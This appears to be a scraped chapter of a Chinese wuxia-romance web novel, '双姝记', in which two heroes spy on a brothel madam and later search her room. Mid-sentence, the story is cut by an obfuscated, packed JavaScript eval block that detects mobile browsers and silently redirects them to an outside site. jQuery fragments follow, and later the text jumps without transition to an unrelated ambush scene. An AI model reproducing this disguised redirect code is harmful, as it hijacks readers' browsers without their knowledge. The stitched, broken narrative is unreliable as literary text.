29. 惊险

作品:《双姝记

    老鸨子年约三十多岁,脸上描画着精致的妆容,身材窈窕多姿,虽是半老徐娘,但风韵犹存。


    有着年轻姑娘所没有的魅力和气质。


    那老鸨子一进屋就将侍候的丫头挥了出去,只留下一个和她差不多年纪的妇人。


    展卓回头对谢茵茵示意了一下,随后轻轻掀开一片青瓦,一点微弱的光芒从下面传来。


    谢茵茵和展卓抵着头往下看去,连呼吸都不敢用力。


    “这是这个月的账簿。”那妇人拿过一本账簿转身递给老鸨子。


    老鸨子涂着丹蔻的指尖轻轻翻开账簿,片刻后她的脸上扬起一抹笑,“不错,这个月的流水较之上个月有所增加,主子知道定然欢喜。”


    “只是有一事需得你拿个主意。”那妇人脸上的笑意忽然变成为难。


    老鸨子放下手里的账簿,杏眼微挑:“有话就说。”


    妇人端起桌上的茶盏送到老鸨子手中,“还不是那几位老主顾,说是咱们艳媚楼来来去去就那么几个能看得入眼的姑娘,都腻了,问何时进些新人。”


    老鸨子保养细腻的手指轻捻起茶盖慢慢撇茶盏中的茶叶沫,闻言也是微微颔首,“你说得也是,近些日子新进的这些姑娘资质是差了些。但这好姑娘也不是说有就有的,只能让赵老六他们多看着些。”


    谢茵茵听着她们的话心中怒火中烧,混账王八蛋!嫌弃别人不好怎么不自己上?我看你们来也风韵犹存,有魅力得很!


    妇人道:“我想着,是不是让赵老六他们往远处寻摸寻摸?”


    “嗯,是要往远处寻摸。”老鸨子点头,她将茶盏放到桌子上,“巧娘,你先去前面看着点儿,我将东西清点一二。过两日主子的人就到了,可不能耽搁时间让主子久等。”


    “是,我这就去。”巧娘微微福身,转身离开了房间。


    等人走后,老鸨子起身走到床边,撩起床帐就从里面抱出来一个小木箱子。


    她将木箱子打开,仔细清点着里面的东西。


    展卓和谢茵茵见状不由将头低得更低,却因视线受阻始终无法看到那老鸨子究竟在做什么。


    忽然,一粒沙烁从屋脊滚落,掉落了下去。


    “谁!”老鸨子眼神一厉,蓦地抬头就瞧见屋顶被人掀开一片瓦,一双眼睛就那样直愣愣映入她的眼中。


    她神色凌厉,抬手就掷出一物。


    展卓揽住谢茵茵的腰身足尖一点就飞身后退,如流星般消失在夜色中。


    老鸨子一个翻身就跃上屋脊,却只见到被移开的那片青瓦,以及自己刚才扔出去的蝴蝶镖。


    捡起蝴蝶镖,老鸨子眯起美眸,眼里充满了杀意。


    回到客栈,谢茵茵才拍着胸脯后怕的喘息,“差点儿就被她发现了。”


    展卓松开她的腰,忙倒了杯热茶递给谢茵茵:“茵茵,快喝口热茶压压惊。”


    谢茵茵接过茶盏喝了一口,抬手擦了擦额头的冷汗,“没想到那个老鸨子竟然还会武功。”


    展卓点头,“我也没想到她竟然会武功。”


    “你觉得她的武功如何?”谢茵茵问道。


    展卓想了想,摇头道:“没有和她交过手,暂时不知。”


    谢茵茵捧着茶盏默默思索着,“老鸨子话中提起一个主子,不过也是,能将青楼开得这样风生水起,背后一定有靠山。”


    “啊?有靠山的话,那我们想要救出那几个姑娘岂不是更难了?”展卓挠头皱眉。


    谢茵茵道:“她有没有靠山,靠山是谁都与我们无关,我们只要救出那几个姑娘就好。”


    展卓点头,眼里的担忧消散了不少,既然茵茵这样说了,那就只管救人。


    “那现在怎么办?之前我们那个打什么草蛇,她怕是有了警惕。”


    谢茵茵无奈:“是打草惊蛇啊。”


    展卓不好意思地笑了笑:“对对对,打草惊蛇,茵茵还是你聪明。”


    谢茵茵挑眉一笑,眼里尽是得意:“我当然聪明了,你这么笨,以后要听我的话知不知道?”


    展卓连连点头,“茵茵,你放心,以后我都听你的。”


    翌日晚间,谢茵茵再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963466|193346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次换上男装,和展卓溜溜达达去了艳媚楼。


    他们没有直接从正门进,还是从那个小巷子进了艳媚楼的后院,直奔老鸨子的房间。


    展卓见谢茵茵翻找着什么,压低声音问道:“茵茵,我们要找什么?”


    “笨。”谢茵茵翻找着梳妆台的抽屉和盒子,“如果我们能够找到老鸨子的把柄,就能威胁她将人给放了。或者找到绿悄她们的卖身契。”


    “对啊,找到她们的卖身契不就能将她们带走。”展卓眼睛一亮,“茵茵,你真聪明。”


    “闭嘴,快找。”


    展卓立刻帮忙寻找着,只是二人将屋子里差不多都翻找了一遍,却什么都没有找到。


    最后,谢茵茵将视线落在青色轻纱掩映的床榻上。她刚要上前,就被展卓拉住手臂,“有人来了。”


    话音刚落,一阵脚步声就逐渐靠近,隐约还有人说话。


    谢茵茵和展卓焦急不已地打量着四周,脚步声逐渐靠近,他们的心高高提起。


    雨,似天幕倾倒一般哗啦啦落下,偶尔一道银光刺破墨色的夜空,伴随着轰鸣雷响是刺耳的兵戈相击声。


    “大人!你快走!”


    银光划破夜空照亮一张布满焦急的脸庞。


    裴宴之捂着右臂,血水顺着雨水滴落,很快就分不清是血还是雨。


    他面色沉静的被身边的三个护卫护在中间,沉声道:“现在只怕想走也晚了,拼力一杀还有一线生机。”


    裴宴之身边的护卫都不是什么江湖高手,只是一般,面对着黑衣人的进攻逐渐有些左支右拙。


    他们护着裴宴之边打边退,很快就被黑衣人的进攻冲散。


    有一个黑衣人直冲着裴宴之攻去,高高举起手里的长剑对着裴宴之快速刺去.


    “大人!”几个护卫心急如焚却被黑衣人绊着手脚无法冲过去。


    正危机时刻,忽然一道刺目的银光极速射过来。


    那个黑衣人僵直着身形,被黑巾蒙住脸露出来的一双眼睛写满了惊愕和不解,喉间插着一把寒光闪闪的匕首。